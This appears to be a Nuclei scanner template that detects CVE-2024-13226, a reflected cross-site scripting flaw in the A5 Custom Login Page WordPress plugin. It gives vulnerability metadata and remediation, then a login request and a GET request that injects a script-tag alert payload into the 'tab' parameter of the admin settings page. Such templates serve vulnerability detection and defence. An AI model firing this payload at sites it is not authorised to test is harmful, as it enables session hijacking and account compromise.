A5 Custom Login Page - Reflected XSS

id: CVE-2024-13226

info:
  name: A5 Custom Login Page - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    A5 Custom Login Page WordPress plugin v2.8.1 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires a crafted URL or input.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or implement proper sanitization and escaping measures.
  reference:
    - https://wpscan.com/vulnerability/dd09fe99-2334-4d6f-8a70-e1cd856b1486/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13226
    cwe-id: CWE-79
    epss-score: 0.00577
    epss-percentile: 0.43539
    cpe: cpe:2.3:a:tepelstreel:a5_custom_login_page:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/custom-login-page/"
  tags: cve,cve2024,tepelstreel,custom-login-page,authenticated,wordpress,wp-plugin,wp,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=clp-settings&tab=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>","custom-login-page")
        condition: and
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